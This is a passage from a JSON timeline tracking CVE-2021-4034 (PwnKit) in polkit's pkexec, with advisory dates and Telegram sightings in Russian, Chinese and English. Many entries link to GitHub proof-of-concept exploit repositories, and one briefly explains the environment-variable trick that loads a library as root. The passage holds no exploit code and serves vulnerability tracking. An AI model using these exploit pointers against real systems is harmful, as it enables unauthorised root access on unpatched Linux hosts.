\u0441\u0440\u0435\u0434\u0443 pkexec \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c  \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043e\u0431\u0449\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0441 \u0440\u0443\u0442\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438. Qualys \u0442\u0430\u043a\u0443\u044e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043d\u0430\u0448\u043b\u0438.\n\n\u041e\u0448\u0438\u0431\u043a\u0430\u00a0\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f \u043c\u0433\u043d\u043e\u0432\u0435\u043d\u043d\u043e, \u043d\u0430\u0434\u0435\u0436\u043d\u043e \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b. \u041e \u0431\u0430\u0433\u0435 \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 2021 \u0433\u043e\u0434\u0430, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043e 11 \u044f\u043d\u0432\u0430\u0440\u044f 2022 \u0433\u043e\u0434\u0430. \u0410 \u0441\u0435\u0439\u0447\u0430\u0441 \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u0438 \u043a\u0430\u043a \u0437\u0430\u0432\u0435\u0440\u044f\u044e\u0442 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 CERT/CC \u043e\u043d - \u00ab\u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0438 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439\u00bb. \u041d\u0443 \u0438 \u0441\u0442\u043e\u0438\u0442 \u043f\u043e\u043c\u043d\u0438\u0442\u044c, \u0447\u0442\u043e polkit \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Solaris \u0438 BSD.\n\n\u041c\u044b \u043f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u044f\u0435\u043c\u0441\u044f \u043a Qualys \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.", "url": "https://t.me/true_secator/2558"}, {"timestamp": "2022-01-26T15:36:53Z", "date_only": false, "value": "2022-01-26T15:36:53.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/dc7342/47837", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "43e3ead0-8e71-46a9-bc9a-8ad9fbb6610d", "content": "\u042d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 CVE-2021-4034 \u2014 github.com/berdav/CVE-2021-4034\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Debian \u0438 \u0442\u043f. \u041d\u0435\u0434\u043e\u0447\u0435\u0442 \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 polkit-pkexec, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c setuid \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u044b\u0447\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441 \u043f\u0440\u0435\u0434\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430\u043c\u0438.\n\n\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0432\u0447\u0435\u0440\u0430 (25.01.2022), \u0447\u0430\u0441\u0442\u044c \u0444\u0438\u043a\u0441\u043e\u0432 \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043e.", "url": "https://t.me/dc7342/47837"}, {"timestamp": "2022-01-26T15:50:51Z", "date_only": false, "value": "2022-01-26T15:50:51.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/ODkEtYJcdodoymnai69skLvMcFHtNm29FdF-bCCuyxxZw0M", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "6c9a0347-c6a4-46a1-8348-a2b8e90c54d5"}, {"timestamp": "2022-01-26T15:58:39Z", "date_only": false, "value": "2022-01-26T15:58:39.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1405", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "8ea88412-e103-4ebe-9654-96a56ddabc38", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-4034 in Bash Script\nURL\uff1ahttps://github.com/azminawwar/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1405"}, {"timestamp": "2022-01-26T16:49:54Z", "date_only": false, "value": "2022-01-26T16:49:54.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/ckuRED/89", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "e64046cc-4154-40cf-b041-0447d9ca6110", "content": "Zero-Day: A vulnerability in Polkit's pkexec component identified as CVE-2021-4034 (PwnKit) is present in the default configuration of all major Linux distributions and can be exploited to gain full root privileges on the system, researchers warn today.\n\nhttps://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034\n\nhttps://www.bleepingcomputer.com/news/security/linux-system-service-bug-gives-root-on-all-major-distros-exploit-released/", "url": "https://t.me/ckuRED/89"}, {"timestamp": "2022-01-26T16:56:22Z", "date_only": false, "value": "2022-01-26T16:56:22.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cKure/8675", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "a7129fb5-c933-45bb-9fc8-c195305e33e9", "content": "Zero-Day: A vulnerability in Polkit's pkexec component identified as CVE-2021-4034 (PwnKit) is present in the default configuration of all major Linux distributions and can be exploited to gain full root privileges on the system, researchers warn today.\n\nhttps://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034\n\nhttps://www.bleepingcomputer.com/news/security/linux-system-service-bug-gives-root-on-all-major-distros-exploit-released/", "url": "https://t.me/cKure/8675"}, {"timestamp": "2022-01-26T17:42:25Z", "date_only": false, "value": "2022-01-26T17:42:25.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1407", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "7ba76ec0-12a4-4eda-b402-d523ff23e827", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-4034 Proof Of Concept\nURL\uff1ahttps://github.com/luijait/Pwnkit-PoC", "url": "https://t.me/GithubRedTeam/1407"}, {"timestamp": "2022-01-26T18:03:40Z", "date_only": false, "value": "2022-01-26T18:03:40.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/xakep_ru/11866", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "036d3c50-2c21-4651-a024-a3879c9092c8", "content": "PwnKit: \u0432 \u043a\u043e\u0434\u0435 Polkit \u043d\u0430\u0439\u0434\u0435\u043d \u0431\u0430\u0433 12-\u043b\u0435\u0442\u043d\u0435\u0439 \u0434\u0430\u0432\u043d\u043e\u0441\u0442\u0438, \u0443\u0433\u0440\u043e\u0436\u0430\u044e\u0449\u0438\u0439 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u043c Linux\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Qualys \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0431\u0430\u0433\u0435 12-\u043b\u0435\u0442\u043d\u0435\u0439 \u0434\u0430\u0432\u043d\u043e\u0441\u0442\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u043c \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435 pkexec Polkit. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2021-4034 \u0438 \u0438\u043c\u044f PwnKit, \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\nhttps://xakep.ru/2022/01/26/pwnkit/", "url": "https://t.me/xakep_ru/11866"}, {"timestamp": "2022-01-26T18:04:02Z", "date_only": false, "value": "2022-01-26T18:04:02.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1408", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "df3c8d5f-5be6-4040-8a74-b5ff797c2690", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPython exploit code for CVE-2021-4034 (pwnkit)\nURL\uff1ahttps://github.com/joeammond/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1408"}, {"timestamp": "2022-01-26T18:54:32Z", "date_only": false, "value": "2022-01-26T18:54:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/alexmakus/4531", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "a5556586-313c-4c34-969c-cde5cb83a4d2", "content": "\u0442\u0443\u0442 \u0435\u0449\u0435 \u043f\u043e\u0434\u043e\u0433\u043d\u0430\u043b \u0447\u0438\u0442\u0430\u0442\u0435\u043b\u044c \u0442\u0435\u043c\u0443 \u043f\u0440\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Linux \u2014\u00a0\u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 polkit, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \"\u0431\u0435\u0441\u043f\u0440\u0430\u0432\u043d\u043e\u043c\u0443\" \u0437\u0430\u043b\u043e\u0433\u0438\u043d\u0435\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0440\u0443\u0442\u043e\u0432\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0441 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e. Polkit \u2014\u00a0\u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0431\u0435\u0437 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0449\u0438\u0445 \u043f\u0440\u0430\u0432 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0441 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438, \u0443 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0435\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430. \n\nhttps://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034\n\nhttps://access.redhat.com/security/cve/CVE-2021-4034", "url": "https://t.me/alexmakus/4531"}, {"timestamp": "2022-01-26T18:55:54Z", "date_only": false, "value": "2022-01-26T18:55:54.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1409", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "205392cf-c0e6-42a8-8faa-d6f837abfc50", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPython exploit code for CVE-2021-4034 (pwnkit)\nURL\uff1ahttps://github.com/Anonymous-Family/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1409"}, {"timestamp": "2022-01-26T20:35:10Z", "date_only": false, "value": "2022-01-26T20:35:10.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1410", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "c8ea6ca5-43b6-405e-8840-99a4e127e0fc", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPolkit pkexec CVE-2021-4034 Proof Of Concept\nURL\uff1ahttps://github.com/nobelh/CVE-2020-4034", "url": "https://t.me/GithubRedTeam/1410"}, {"timestamp": "2022-01-26T22:18:31Z", "date_only": false, "value": "2022-01-26T22:18:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1412", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "55d8024b-c9d2-4b39-9e55-406a54478b2d", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-4034\nURL\uff1ahttps://github.com/luijait/PwnKit-Exploit", "url": "https://t.me/GithubRedTeam/1412"}, {"timestamp": "2022-01-26T23:00:00Z", "date_only": false, "value": "2022-01-26T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.revision_history.1.date"}, {"timestamp": "2022-01-27T00:00:00Z", "date_only": false, "value": "2022-01-27T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-083", "record": "CERTFR-2022-AVI-083", "field": "last_revision_date"}, {"timestamp": "2022-01-27T00:00:00Z", "date_only": false, "value": "2022-01-27T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-084", "record": "CERTFR-2022-AVI-084", "field": "last_revision_date"}, {"timestamp": "2022-01-27T00:00:00Z", "date_only": false, "value": "2022-01-27T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-085", "record": "CERTFR-2022-AVI-085", "field": "last_revision_date"}, {"timestamp": "2022-01-27T00:00:00Z", "date_only": false, "value": "2022-01-27T00:00:00", "kind": "other", "label": "Last revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-086", "record": "CERTFR-2022-AVI-086", "field": "last_revision_date"}, {"timestamp": "2022-01-27T00:00:00Z", "date_only": true, "value": "2022-01-27", "kind": "other", "label": "Open Time", "source": "cnvd \u00b7 CNVD-2022-07226", "record": "CNVD-2022-07226", "field": "openTime"}, {"timestamp": "2022-01-27T00:00:00Z", "date_only": false, "value": "2022-01-27T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-083", "record": "CERTFR-2022-AVI-083", "field": "initial_release_date"}, {"timestamp": "2022-01-27T00:00:00Z", "date_only": false, "value": "2022-01-27T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-084", "record": "CERTFR-2022-AVI-084", "field": "initial_release_date"}, {"timestamp": "2022-01-27T00:00:00Z", "date_only": false, "value": "2022-01-27T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-085", "record": "CERTFR-2022-AVI-085", "field": "initial_release_date"}, {"timestamp": "2022-01-27T00:00:00Z", "date_only": false, "value": "2022-01-27T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-086", "record": "CERTFR-2022-AVI-086", "field": "initial_release_date"}, {"timestamp": "2022-01-27T00:00:00Z", "date_only": false, "value": "2022-01-27T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-083", "record": "CERTFR-2022-AVI-083", "field": "revisions.0.revision_date"}, {"timestamp": "2022-01-27T00:00:00Z", "date_only": false, "value": "2022-01-27T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-084", "record": "CERTFR-2022-AVI-084", "field": "revisions.0.revision_date"}, {"timestamp": "2022-01-27T00:00:00Z", "date_only": false, "value": "2022-01-27T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-085", "record": "CERTFR-2022-AVI-085", "field": "revisions.0.revision_date"}, {"timestamp": "2022-01-27T00:00:00Z", "date_only": false, "value": "2022-01-27T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2022-AVI-086", "record": "CERTFR-2022-AVI-086", "field": "revisions.0.revision_date"}, {"timestamp": "2022-01-27T00:00:00Z", "date_only": true, "value": "2022-01-27", "kind": "other", "label": "Submit Time", "source": "cnvd \u00b7 CNVD-2022-07226", "record": "CNVD-2022-07226", "field": "submitTime"}, {"timestamp": "2022-01-27T01:17:13Z", "date_only": false, "value": "2022-01-27T01:17:13.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1413", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "f2208e3f-8ecf-40bb-b6ca-8e90802f2d82", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aA simple proof-of-concept for CVE-2021-4034 (pkexec local privilege escalation)\nURL\uff1ahttps://github.com/cd80-ctf/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1413"}, {"timestamp": "2022-01-27T02:30:03Z", "date_only": false, "value": "2022-01-27T02:30:03.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1414", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "00a2afa4-1267-40e7-be5c-3a30663e54c6", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aLocal Privilege Escalation in polkit's pkexec (CVE-2021-4034)\nURL\uff1ahttps://github.com/Al1ex/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1414"}, {"timestamp": "2022-01-27T03:46:27Z", "date_only": false, "value": "2022-01-27T03:46:27.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1416", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "5ed60344-454f-4cd7-b504-5972e0e8c766", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPOC for CVE-2021-4034\nURL\uff1ahttps://github.com/callrbx/pkexec-lpe-poc", "url": "https://t.me/GithubRedTeam/1416"}, {"timestamp": "2022-01-27T04:00:00Z", "date_only": false, "value": "2022-01-27T04:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=728", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "8c6f3f30-26b0-4e3c-b2c4-f86bfccf0ece", "url": "https://www.govcert.gov.hk/en/alerts_detail.php?id=728"}, {"timestamp": "2022-01-27T07:41:26Z", "date_only": false, "value": "2022-01-27T07:41:26.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1419", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "27703096-3209-448e-8f35-e34b5e4d3131", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aThis repository contains the exploit for vulnerability CVE-2021-4034 .\nURL\uff1ahttps://github.com/ashutoshrohilla/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1419"}, {"timestamp": "2022-01-27T08:39:36Z", "date_only": false, "value": "2022-01-27T08:39:36.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/noobhackersyoutube/1661", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "44de9369-fad1-42ca-b696-fea1d587dd8f", "content": "Pwnkit: Linux Local Privilege Escalation POC - Polkit Pkexec (CVE-2021-4034)\n\nAnother local privilege escalation comes out that affects most Linux distros out there. This CVE came out last year and the POC and update just got released today.\n\nhttps://twitter.com/xtremepentest/status/1486610996080914432?s=20", "url": "https://t.me/noobhackersyoutube/1661"}, {"timestamp": "2022-01-27T09:28:34Z", "date_only": false, "value": "2022-01-27T09:28:34.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hack_room_channel/177", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "311b9f18-de9d-4bfb-ab1c-b48f0c5b89b0", "content": "https://github.com/ly4k/PwnKit\n\n#(CVE-2021-4034) #Exploit #POC", "url": "https://t.me/hack_room_channel/177"}, {"timestamp": "2022-01-27T09:32:28Z", "date_only": false, "value": "2022-01-27T09:32:28.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/BlueRedTeam/1660", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "f4bc5fdd-f825-4163-8eef-d686f065778c", "content": "#exploit\nCVE-2021-4034:\npwnkit - LPE in polkit's pkexec\nhttps://github.com/berdav/CVE-2021-4034\nhttps://github.com/Ayrx/CVE-2021-4034\nhttps://github.com/arthepsy/CVE-2021-4034\n\n2. CVE-2022-0185:\nLinux Kernel Can Allow Container Escape in Kubernetes\nhttps://github.com/Crusaders-of-Rust/CVE-2022-0185\n\n@BlueRedTeam", "url": "https://t.me/BlueRedTeam/1660"}, {"timestamp": "2022-01-27T10:24:36Z", "date_only": false, "value": "2022-01-27T10:24:36.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1421", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "ea294850-dae9-46bb-9222-d90fee195939", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPython exploit for CVE-2021-4034\nURL\uff1ahttps://github.com/Plethore/CVE-2021-4034", "url": "https://t.me/GithubRedTeam/1421"}, {"timestamp": "2022-01-27T10:28:46Z", "date_only": false, "value": "2022-01-27T10:28:46.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1422", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "12218b4b-7301-44cf-a89f-c76ec850504e", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aLSM BPF module to block pwnkit (CVE-2021-4034) like exploits\nURL\uff1ahttps://github.com/evdenis/lsm_bpf_check_argc0", "url": "https://t.me/GithubRedTeam/1422"}, {"timestamp": "2022-01-27T11:04:46Z", "date_only": false, "value": "2022-01-27T11:04:46Z", "kind": "milestone", "label": "Published", "source": "osv_openeuler \u00b7 OESA-2022-1502", "record": "OESA-2022-1502", "field": "published"}, {"timestamp": "2022-01-27T12:38:34Z", "date_only": false, "value": "2022-01-27T12:38:34.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/intelexch/7679", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "97176514-ca76-4bd0-af61-1cc752f942f7", "content": "https://github.com/berdav/CVE-2021-4034", "url": "https://t.me/intelexch/7679"}, {"timestamp": "2022-01-27T14:21:30Z", "date_only": false, "value": "2022-01-27T14:21:30.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/1424", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "e69b3e3e-5916-4e36-bac3-19a7e41af96e", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-4034, exploit para escalado de privilegios en SO Linux  a 